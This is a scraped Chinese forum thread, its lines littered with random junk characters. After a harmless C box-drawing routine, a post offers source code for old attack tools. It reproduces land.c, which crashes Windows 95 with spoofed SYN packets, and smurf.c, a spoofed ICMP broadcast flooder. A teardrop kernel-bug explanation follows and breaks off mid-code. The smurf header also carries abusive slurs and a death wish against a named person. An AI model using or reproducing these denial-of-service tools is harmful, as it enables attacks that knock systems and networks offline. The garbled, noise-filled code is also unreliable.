5 M- D) _+ Z$ P7 g* i*0 s8 F9 q* f! I0 c
*/</FONT></P><><FONT color=#009900>main()( b0 Y4 `( r: J/ I! \0 ]" Y
{8 w4 E' C, e5 X4 A/ x( \: S
clrscr();
# R' |+ F7 y1 f# H' }# G; x0 nbox(1,1,23,79);% b5 j, J( z! j( o3 k
box(2,2,21,77);. g* \; F! }+ r9 ~9 B
box(3,3,19,75);+ H# P1 |: W( T/ y/ i2 o2 g  K
box(4,4,17,73);
! u0 b3 i8 }; q$ u3 f4 dbox(5,5,15,71);& X2 ?! ]  I% k0 [# ~7 c8 b8 c
box(6,6,13,69);- K- O4 b* w: f$ p: N$ I9 _5 G4 G1 Y1 Z
box(7,7,11,67);
/ n' R& b5 i: ~box(8,8,9,65);2 a. W0 H' ?8 A/ T+ Y- w
box(9,9,7,63);; Q6 u+ f# P% j/ D' T- [* J) d
box(10,10,5,61);
) v/ C: D* N! ~, }7 v) cbox(11,11,3,59);
. L# K# f5 x! W9 L- g: }" R5 [! Jbox(12,12,1,57);( `* Y3 K+ l$ M0 Z
poscur(24,1);
" R3 s/ ^/ @2 u5 b# _' p3 U}</FONT></P><><FONT color=#009900>/************************************************************2 D& E% m/ |/ r
* BOX */ A) y0 s6 ^  H! E) G: E% F3 O4 g
*----------------------------------------------------------*. o6 y8 I7 V1 h
* Written by: Jeff Ebert 7/01/87 *  Q0 w9 U4 d: a% r
* Modified by: xxxxxxxxxx *: K/ d4 n! u/ u4 \
* *
* o6 Z1 j: H  J- i" x& O% q* Please modify me! *
1 S3 A8 A; l; Q  P* Possible Enhancements include but are not limited t *( u# S; Z4 F" d2 l3 p
* 1) Variable box character styles [1 line or 2] *
9 _' h) {1 b* Z4 `* 2) Error checking *; j8 c( Q% _3 F' ]$ Q/ u
* 3) Color options *" h- {3 u: k) F" u2 G  Q
* *
( t) F( o" v  U* *. b8 t" p- Q( u: H6 y
* This function builds a simple double frame for a menu. *
2 ]$ i/ D( O$ @* The function is passed the parameters for the upper *+ ~5 h. _( a4 ?7 T( a* ^. c- q
* left corner row, upper left corner column the height *
, K3 `4 V0 M2 o2 r+ F* of the frame and the width. *' H* s0 K! F/ ~9 R
* */ x. W+ P$ V" u+ e# P; i
************************************************************/
" b8 b8 N, V+ L/ u- h4 O#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2010 ^# [4 m" [+ P) S5 H( C
#define URCOR 187
' ]% i6 _* L5 q#define LLCOR 200
- p# E- w3 L; l- w. ^. N3 d#define LRCOR 1889 _# d/ \( ], b$ _2 M! I& ?5 u7 }
#define VBAR 186
/ s* P2 G  s6 V) ^4 }1 b. u#define HBAR 205: N" r: [' a% g2 V5 {
#define ESC 27</FONT></P><><FONT color=#009900>! f8 o2 ~4 B4 l1 }8 i8 r  o; `
box(row, col, hgt, wdth)( @& L/ M3 w6 P/ n  m2 K6 G
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{' D1 [0 B: i, K4 T) Z
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
2 @9 X3 p: h7 Z* c1 w" iputchar(ULCOR);3 S' N2 u! d- k6 i' r: J$ v! a# ^$ K* V
for(x = col + 1; x &lt;=(col + wdth -1); x++)
2 _' s$ L6 m: V5 X4 Q. m2 b" {+ Pputchar(HBAR);: G3 `+ ^" C: S1 m7 v& f, l$ B
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
) F" b! |/ e( P. m1 @! ], m3 E$ Sposcur(x,col);
/ h( K  O- u0 pputchar(VBAR);
6 K7 n4 i' n9 k' {$ oposcur(x,col+wdth);5 e1 g4 |% q, E: r
putchar(VBAR);; a* x$ M9 @& X: \. s3 Y
}
' m( l) w* c) pposcur(x,col);' N, c" _- q$ t/ }2 v( y( I
putchar(LLCOR);
+ D) u$ W# H* M5 S+ H& {for(x= col + 1; x &lt;=(col + wdth -1); x++)8 @, ?7 d, y# i, D: N9 W  T+ F* f! _8 R
putchar(HBAR);$ \" Q. K! W5 a' R8 c% ~& E
putchar(LRCOR);9 m- _! }- ]' B- T, r' }
}</FONT></P><><FONT color=#009900>/********************************************************
  K; [0 x3 C: q" l/ w* POSCUR *
5 D  w. A( P) \& X7 r*------------------------------------------------------*& H3 C5 J/ E  N; F+ D( q
* This function positions the cursor at the specified *$ J  \: S7 r- j  e
* x,y coordinate. It uses the ANSI standard ESCAPE *
. m% ~- r8 R# L/ c/ {2 r3 m* sequence to produce the desired effect. Its not the *5 ]+ s. q# I: G" i* \9 A
* fastest way to position the cursor, but perhaps the *
$ Q# e8 v  P0 t. y' v* most portable. *
! C% S( c  x+ u$ {  ^5 ?& c( @% e* *
" G4 ?/ E3 C# b. }********************************************************/
, p- h6 m7 `- d8 Q- u) a& |& Dposcur(xcor,ycor)! L- ~2 b1 o1 C' r4 |
int xcor,ycor;2 r6 u" G! S: _/ Z( j
{
4 D4 X( e$ N6 k4 Q! @+ Rprintf("%c[%d;%dH",ESC,xcor,ycor);
6 U( n$ Z) Q. V+ f( J$ A) @& d}</FONT></P><><FONT color=#009900>  f6 B: G: v, e+ x  r6 m
/********************************************************
' Z# [) ?, W* L; T2 U4 d1 J' j* CLRSCR *4 F& q( r0 x* P) K- ?* M
*------------------------------------------------------*
; |  [* o5 M- k2 R* This function positions the cursor at the specified *
2 `& ?+ H3 Q& A* i* x,y coordinate. It uses the ANSI standard ESCAPE *  h  M) s- Z! l' o
* sequence to produce the desired effect. Its not the *& L; B# w9 R/ q* u
* fastest way to position the cursor, but perhaps the *
. o7 r8 A. ^9 B* `; g* most portable. *
& A7 o6 @1 O( x) T' z; ~* *6 y+ W  j6 S" t  S3 Q
********************************************************/  L/ ]  W2 ]; i1 V' L4 N
clrscr()
$ `4 e" k9 N4 l# S{ + m6 `# e4 s; k
printf("%c[2J",ESC);
, w: |% k3 E) U1 n}</FONT>
- W, W9 B. ]3 J9 ?: q- J8 f+ c</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
# D) ^& m7 {1 p8 B0 |这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自/ s: ?7 _# V6 v
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
# d" G9 F  {/ T<FONT color=#009900>/* land.c by m3lt, FLC
( B! q7 H6 [' e/ U8 w4 H2 jcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>" i8 F5 o! I  \" z# J
#include <NETDB.H>
  C1 i+ A0 o$ s8 @; t2 e2 N#include <ARPA inet.h>4 t; E' B7 \( Q2 A# q0 ?6 Y0 O
#include <NETINET in.h>4 U+ L6 b. h5 o& H9 |- S
#include <SYS types.h>
" Z8 H/ S# U! W: M, ]#include <SYS socket.h>
) S$ C$ I2 G8 t" ?% D7 W#include <NETINET ip.h>1 j' [; p) W9 S/ I; d/ l5 w
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
" Q8 @9 ~6 s& e& y( r3 {( zstruct pseudohdr& z; W4 Z) P$ U% L, A- W- f
{% K2 N- U! G& {; T2 V
struct in_addr saddr;3 M' f( v6 _+ a. o$ ?4 B& w
struct in_addr daddr;
" s* d" `3 Y. ]( h1 h4 r- H' yu_char zero;
- K- A+ l6 f9 h, K5 Eu_char protocol;  X8 e8 i! ^, b  Q
u_short length;
5 R& S0 y' c/ r1 N- }2 q2 dstruct tcphdr tcpheader;
2 a* I% P( Z, a};</FONT></P><><FONT color=#009900>//计算IP校验和
( H) P4 }% Y/ o: ju_short checksum(u_short * data,u_short length)2 j5 A2 w6 J) D
{
' o) O, w2 [# j) bregister long value;
  }  K9 F; P4 v) b; i; q2 [u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)* J' r  L7 r9 m
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
4 [8 o9 U$ O8 pvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);8 J' E- [6 G& ~, L
}</FONT></P><><FONT color=#009900>
' V# v/ J  ]6 O: R0 f8 Aint main(int argc,char * * argv)' Z/ j; v' `/ U5 e8 [/ P
{6 F2 u+ k5 y, ]
struct sockaddr_in sin;' n  r% g( H  W1 Z4 |
struct hostent * hoste;3 p/ t1 Q3 F! D2 c5 z
int sock;
% T8 a: ~' O) h0 V4 t) fchar buffer[40];: ^8 X7 e% i. r' A+ `, C8 k
struct iphdr * ipheader=(struct iphdr *) buffer;9 D! {# k$ m) [  g$ c9 l9 k1 F
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));( B# {2 a7 f2 G! x
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
: ^2 c) I  t/ L+ }# G) F2 Q{
" o$ I8 X$ y. t7 L- b' Gfprintf(stderr,"usage: %s IP port\n",argv[0]);
' j7 i5 Z/ S. `, Wreturn(-1);4 z; X& l1 P) i2 E9 z  Z6 `
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
; [: K' ~" [2 W1 K/ {! ^sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
' {4 o' u2 \2 }' u6 L) B& Gbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
) t, J# K8 _' M- j4 Eelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
4 f/ I) @9 z3 H2 j- ~# y  u5 U{, H1 @: S2 Y) h, ?
fprintf(stderr,"unknown host %s\n",argv[1]);
; Z2 R7 T- N( _- Oreturn(-1);
) A: M. m$ r5 K/ |}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
- A4 c& K2 I9 L: Q' O1 r+ x{' ?3 k* P# F) t; d7 T- _+ p
fprintf(stderr,"unknown port %s\n",argv[2]);
5 m4 x6 O; {9 t( c" e1 dreturn(-1);* U, D/ w9 \! I5 `. K
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
% e; i6 [1 U5 F' _2 X# y1 I% Lif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
/ U# F+ m# v  ^. j- f7 ^{
* I# l2 Y# V. F- qfprintf(stderr,"couldn't allocate raw socket\n");9 `% R# k, r4 h9 t! `9 Q+ u$ g
return(-1);* A+ @1 K9 ^+ @4 m8 b
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
9 D( E( a2 \5 L/ [4 @  @ipheader-&gt;version=4;
# z, I4 V0 r6 E9 Q# d' ~, o8 x1 C( Yipheader-&gt;ihl=sizeof(struct iphdr)/4;
4 V0 p" I- u/ Y9 |+ L* |ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));6 u# Z; b8 T# R: J2 U5 r$ O- S) h
ipheader-&gt;id=htons(0xF1C);
( [) A& Z9 o2 f& u4 Y$ ripheader-&gt;ttl=255;6 |( |! Z7 y/ q& `1 ~& h
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
( D' u7 [; ?1 s) }% x0 `- Dipheader-&gt;saddr=sin.sin_addr.s_addr;4 H" X# Z8 f4 D, b$ t
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同9 u. K3 H! H- L& a
tcpheader-&gt;th_sport=sin.sin_port;
& Y' Y9 G* y- F; ]! t5 n3 A$ ltcpheader-&gt;th_dport=sin.sin_port;
$ v) Q4 ?2 C# F8 e3 P+ dtcpheader-&gt;th_seq=htonl(0xF1C);
( L/ Z0 h/ h+ t7 P0 E$ N- [0 \tcpheader-&gt;th_flags=TH_SYN;5 e3 d7 S! g9 M# S4 `
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;8 @3 Q* z9 F; Z5 X& \# q$ R* O' O
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
) W4 ]4 M7 F6 _6 Z# a3 gpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;8 m; W3 n/ L7 W, l8 a2 j; t' Y
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;# w3 y; ~  Y7 z  t6 s; v- s8 L  [
pseudoheader.protocol=6;
/ a$ C! o6 i$ c2 I, r8 upseudoheader.length=htons(sizeof(struct tcphdr));. Q' I1 |8 r: _: K
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));% a* R" |& e8 N) s0 @8 k
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),. W2 _+ q# y, G3 {
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)# A" L' o& t3 A- n5 N
{
2 u% V! N5 E- j/ ~+ Y8 b7 Ufprintf(stderr,"couldn't send packet\n");4 E, S, j; z( G, G2 f" H/ O2 V
return(-1);
* u8 y3 v6 ~1 i( a; \}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);0 V. x+ L# N' }
return(0);7 P) D6 n- h, V, j6 M( ]+ f0 D
}</FONT></P><>3 h  v. J3 E: h) G1 s
2 Smurf2 j; `9 A6 Z( g& @8 S
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数  E3 m- O. u6 s2 s" a! \
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包+ Q3 h# B0 b; B  f
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些$ Q' B& H+ W& |+ ^4 z; Z
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢4 s$ G; V( G% N* f9 D5 Y; [1 |, v
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
3 w; k; _, K, Z成不可能(没有WINS服务器时)。</P><P>/** w3 k7 G' S0 L  v
*
0 c7 z2 `; j5 m( c* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $, ~: O- Z/ [0 R. `. N" F( Y1 p8 C6 j7 o% g
*" ]% U/ t+ F. V0 b8 Q
* spoofs icmp packets from a host to various broadcast addresses resulting
/ b6 u* L, S2 C$ H; J2 t+ f" f* in multiple replies to that host from a single packet.
* H; R. k, l  ~  Y! R2 T*# m9 r/ ^$ N. I7 R* ~! Q
* mad head t5 B3 q% x8 y/ @. Q) u- l
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,, S  h2 H: K7 C; k6 `
* MissSatan for swallowing, napster for pimping my sister, the guy that6 o: A7 j1 a4 k
* invented vaseline, fyber for trying, knowy, old school #havok, kain% k8 Z8 L% n+ b; Y7 ]. P9 |
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might# T' D  A. v7 g
* have missed (you know who you are).
$ G; G8 O1 U8 s. o0 s3 Z1 H, H. r% L*% y: ~0 O, g7 }! u6 r& ?
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
; R5 ~7 j+ U6 m( t% ^* thing he is (he's -almost- as stubborn as me, still i managed to pick up
, M) r9 T* G: Z* half the cheque).
% B5 A% G0 B6 v8 y*4 n! p2 `6 \! S( D. H9 R( A
* and a special hi to Todd, face it dude, you're fucking awesome.; H9 x( l8 k/ c: j7 X* X
*6 f% o8 w% f" A' w  \% V" }
* mad anal t
" x& Z4 i6 f; ?5 w) D6 L2 ~* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* i) F: F) C3 ~" |0 _* because they plain suck, Rolex for being a twit, everyone that8 Z5 S+ T2 {$ c. }3 \$ z
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
: @& b8 k& j5 Y* K5 p1 ?* partner, #cha0s, sedriss for having an ego in inverse proportion to
4 r8 s7 v& x4 S/ E+ R6 S4 g3 @* his penis and anyone that can't pee standing up -- you don't know what
' P3 `$ b* K: \9 x6 K* your missing out on.
9 M3 C' S0 p2 p4 T7 a6 G) L# z*
$ C/ j0 L9 _4 K2 B# `/ E- U* and anyone thats ripped my code (diff smurf.c axcast.c is rather
! s1 I7 c  \& C) I) J/ q4 p* interesting).
% J& |! Q: V% I, E" j1 Z/ R4 L*
( ~0 i2 X! D. c8 V* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
( P, d6 R$ G+ R" q; _3 o: m% n. l* Robbins for trying to steal my girlfriend. Not only did you show me
* G6 P& T" h1 n0 D7 ]% R/ g* no respect but you're a manipulating prick who tried to take away the0 R! Y- p; @( o9 m" b, e' m4 o
* most important thing in the world to me with no guilt whatsoever, and
) b  k3 F6 A9 ^7 h* for that I wish you nothing but pain. Die.
' k& X% J; e: O2 D, y4 h*
3 @$ E8 V0 u% w0 [8 X% q* disclaimer:
5 Q& X8 e7 Y+ {2 a, y- D4 p$ k* I cannot and will not be held responsible nor legally bound for the$ O; R+ j" y) K) B" g* M% ^
* malicious activities of individuals who come into possession of this
' F6 P; q+ P; }! {* program and I refuse to provide help or support of any kind and do NOT
5 H. O. `6 m* m* condone use of this program to deny service to anyone or any machine.
5 Q: l& \; i/ Z3 s2 m* This is for educational use only. Please Don't abuse this.2 Y' J7 ~; {  {5 o
*
, T3 m' b0 v! s( [2 J: m( {* Well, i really, really, hate this code, but yet here I am creating another
/ a. B( e: X% k2 ?! r$ j* i% _9 ^* disgusting version of it. Odd, indeed. So why did I write it? Well, I,$ J7 m7 e" ]6 r
* like most programmers don't like seeing bugs in their code. I saw a few
4 k! r5 R% |6 _8 j4 O0 X2 q* things that should have been done better or needed fixing so I fixed* F3 o( H  W( c4 o7 L4 |
* them. -shrug-, programming for me as always seemed to take the pain away
3 }7 `9 m! W+ ?$ B* ...
5 R8 \, A( t: P* k! `9 V*
" |% t' y% J9 g( f9 i*
/ _4 D7 s! a, o0 Y*/</P><P>#include <SIGNAL.H>
$ b4 T4 C/ {, u6 q: z# t9 v#include <STDIO.H>* U9 {" ~# ]# K) E- f
#include <STDLIB.H>
* c- y: Y# X1 B% I#include <SYS socket.h>
3 B: Y7 z& V: s( ?" X! ~#include <SYS types.h>2 C5 L1 f; |: ^; P" ~
#include <NETINET in.h>
( M8 V; t  p9 |" [, ]' q1 T8 q. x, A#include <NETINET ip.h>
0 n/ F2 D# L9 A4 z' z#include <NETINET ip_icmp.h>0 s& j! X5 ]0 D5 i
#include <NETDB.H>
) S1 D6 B5 W0 \; p& @) s#include <CTYPE.H>
& \+ o, ?( j% }1 Q7 I#include <ARPA inet.h>
' ]5 V( R& A+ ?; }+ i6 W#include <UNISTD.H>
* R& r: |/ C2 n) x#include <STRING.H></P><P>void banner(void);$ i* h7 X/ \1 A" H6 u$ F: A
void usage(char *);
* u2 N% ^! H$ Y3 wvoid smurf(int, struct sockaddr_in, u_long, int);
% G9 P. C# K; ]void ctrlc(int);; U& J' C5 T0 G2 r( `- J# G
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */" j- A7 ^" {) v3 C" {
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])% s) ^( p+ L3 K! G1 B7 i* h
{& v7 Q  w8 F8 k' o: z
struct sockaddr_in sin;
2 B. h9 E' {  c6 ]struct hostent *he;6 Q" b7 n% _& a- z
FILE *bcastfile;4 |7 T" [4 n. u6 J& d: R4 C( l
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
' m% @3 a) S; m8 \4 Vchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
; N- W6 U- @5 a' d+ I4 [% zsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
( h% u& N6 F/ |5 c: V5 operror("resolving source host");
* `% }; l! w) u% u4 ~exit(-1);
  H5 z' {8 l. s6 y. V* N: @, `. ?}9 F% G, E# ]; Y3 N+ G9 U
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
3 o3 o9 U$ ~2 B0 C; ]sin.sin_family = AF_INET;
6 X! ^: y. A' S  zsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
; q) o3 N1 E0 I  g5 m4 Ndelay = atoi(argv[4]);' v1 u3 v4 k. s, J# l0 {; n
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {3 W, v6 g9 C- d+ c# L
perror("opening bcast file");- |9 K: F. l" z4 @* T3 C
exit(-1);4 ^# ~+ o5 L3 |" A/ T; R- i
}* j( K$ F; @; U1 g, x
x = 0;
2 q  Y1 R6 l+ Dwhile (!feof(bcastfile)) {( u+ C, n6 R0 O* F
fgets(buf, 32, bcastfile);
$ @9 g1 F  F' Q7 k6 {+ o% ~9 eif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;2 a6 Z; N7 V5 P& F" i" R& |0 \
for (i = 0; i &lt; strlen(buf); i++)
! }; q+ m8 f! g9 jif (buf == '\n') buf = '\0';
, O. v, g9 D3 _) tbcastaddr[x] = malloc(32);, d' E6 e2 I+ v2 g8 N/ e  n  K
strcpy(bcastaddr[x], buf);
8 M$ |! h- Z$ F0 b. p. ]x++;
" B+ G/ `: c: F1 i% \2 L  w}0 w* \" N7 u7 |( d! ]
bcastaddr[x] = 0x0;
* U8 _' d' C6 k) Q) [fclose(bcastfile);</P><P>if (x == 0) {. O  ]+ p+ u) D3 |
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);9 I1 v6 r& r3 p0 W& J( \' R
exit(-1);5 V, W. h) v( w% X* U
}
- p. v9 X$ _8 Aif (pktsize &gt; 1024) {
0 J  G# p" @* Q* E. ffprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");9 z" i) o% ^' l% v0 ]' V
exit(-1);1 S4 M0 Y" `- ?5 ?
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {' v; k% v9 [3 p  L  y& a
perror("getting socket");
5 ?; y' U' w1 ^, A8 L  l6 cexit(-1);
- B7 o( ]4 x* D1 e+ @. Y7 g" w}) h/ F5 K# K2 H9 a
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
. w9 ]( _! B7 F  D- a# Jif (!(i % 25)) { printf("."); fflush(stdout); }5 P* `: J7 o5 I# h3 @, [
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
3 A; h: G. W* e- z6 `' Y$ j4 Kcycle++;( K: M9 M4 T! v4 E/ ]3 s1 m) u
if (bcastaddr[cycle] == 0x0) cycle = 0;( B/ Q: F6 c! O; G4 @" N2 t
usleep(delay);
* b. A4 \4 m. M+ \* g: w}
5 V% V; A; ?7 y% T) Tputs("\n\n");7 H8 }! l1 [1 E3 C+ B
return 0;
! o$ @' L4 u/ w4 Q6 z}</P><P>void banner (void)
/ D2 E6 Q( [8 |, E  N{1 u$ L, b$ H+ Q% v0 W2 h9 {
puts("\nsmurf.c v4.0 by TFreak\n");
6 u' I' D* D! `  l# z# q" o}</P><P>void usage (char *prog)
" g* L4 {1 j! I9 Z1 j8 n4 K{: E, Y% h, g& j* [5 r; x5 \" P0 |# w
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
7 Q2 d( Z- u- U5 j- h' r"<NUM packets> <PACKET delay><PACKET size>\n\n"
8 H7 ?. n2 ]1 e  o# w"target = address to hit\n"7 f; m3 r& `5 z5 M! Q
"bcast file = file to read broadcast addresses from\n"+ O! h* A! S& b
"num packets = number of packets to send (0 = flood)\n"* K0 t! A0 I+ J0 t
"packet delay = wait between each packet (in ms)\n"
( q# a0 K. M$ d% Y2 t"packet size = size of packet (&lt; 1024)\n\n", prog);/ D% o( H& v+ `# G( f
exit(-1);  I' y+ \5 o+ f  L
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
7 ~/ g: Z$ \; |# q5 j- `& s" ]. y{
& ^2 c) |6 S" Q( Ustruct iphdr *ip;
: D. p. m. `* r3 H( ~: Jstruct icmphdr *icmp;: C4 @: M+ Q0 S; @) l7 u- s
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
3 ?4 ^7 W8 i+ a( R- w! hip = (struct iphdr *)packet;% F) D5 ]1 D) h: j" C3 @
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);$ A2 m6 d9 K& \$ }  G( e7 _  h
ip-&gt;ihl = 5;; a9 x/ y- u# V1 E8 }5 u
ip-&gt;version = 4;# h6 u8 [9 U$ [" O# a
ip-&gt;ttl = 255;
4 U' ?0 v  @3 J' r# rip-&gt;tos = 0;. P  {" T/ C: N$ m7 S
ip-&gt;frag_off = 0;! ^2 n9 K' X! K$ T
ip-&gt;protocol = IPPROTO_ICMP;
  P0 ~- ~# Q1 o! Hip-&gt;saddr = sin.sin_addr.s_addr;
8 [8 k4 V$ d+ eip-&gt;daddr = dest;5 Y- `9 w: b" v
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));5 a9 o& B+ t% C: l* ?
icmp-&gt;type = 8;' N+ a. Z7 D: S9 l0 [5 ~) M; k
icmp-&gt;code = 0;8 j0 j% p0 [# k+ _+ c
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
8 v( `  Z7 [8 y* Y$ G( L1 v% P, |# ?0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */* F5 H$ o& E  D
}</P><P>void ctrlc (int ignored)5 T' _! b; m3 ?2 k. |$ Y& D
{
1 d5 t3 K" Y% Q3 _! sputs("\nDone!\n");. _: H3 r  J6 H& F& N
exit(1);6 n6 M+ u9 H1 m0 E2 U7 ~% Y
}</P><P>unsigned short in_chksum (u_short *addr, int len): X- s  s. V. ~. m& K9 O- E6 A  c
{) a$ H4 T. x! s+ v* y) P5 s. _
register int nleft = len;
. q0 v) I" k: B) pregister int sum = 0;; w! j4 U7 u2 b
u_short answer = 0;</P><P>while (nleft &gt; 1) {
* S, E2 ?; p8 [0 _, K2 usum += *addr++;6 D; l# r( O7 ^; ]
nleft -= 2;
6 l) y% \! T- i}</P><P>if (nleft == 1) {/ [/ k0 y: b7 n& `+ [' \7 z
*(u_char *)(&amp;answer) = *(u_char *)addr;2 y0 |( {5 l; W2 Y/ M, \: Y
sum += answer;8 N" k/ ]4 m( E" S
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);" D1 A4 A5 A+ r8 M; [
sum += (sum &gt;&gt; 16);
5 p7 n8 X* u1 A# c8 fanswer = ~sum;
% V4 U3 j! b; y0 Y) ]+ d: |return(answer);
# T6 P8 L, f: Y5 v6 K}</P><P>
4 X& J$ v9 G3 f3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
2 \/ k! K# ?6 E: M- e) bfp = qp-&gt;fragments;9 e" \" E+ G2 N" z' A/ d0 M& U2 u
while(fp != NULL)8 y/ P% a; c/ J
{2 h$ p, y6 Q0 X. T
if(count+fp-&gt;len &gt; skb-&gt;len)
; V5 c0 D! C6 m8 Z7 M" _{& N' s, ^3 H) F4 x6 o+ a) A; ^
error_to_big;
0 i0 Z3 q5 V9 n}
9 E3 ~: H. \5 l% i/ L4 S* Lmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
" y  r/ Q" }) z- M: L9 r. V, Lcount += fp-&gt;len;
/ d7 I4 z5 Z+ c. S+ Ifp = fp-&gt;next;9 Y5 _# l% v7 ?& h3 v
}
) W9 {7 r7 A# G, [; |* \这里只检查了长度过大的情况,而没有考虑长度过小的情况,
+ T) L. A% {' {如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
# _3 D3 A3 |7 }) gend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
! d7 N: R2 C9 W! z( ]1 p/ r9 s是这样处理的:0 c& n! N5 C# }/ A2 g
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)* N; |, ]3 p& m4 z: C; U% \
{
3 ~; G! s2 g/ pi = prev-&gt;end - offset;# ^1 U% V/ d" X4 P
offset += i; /* ptr into datagram */
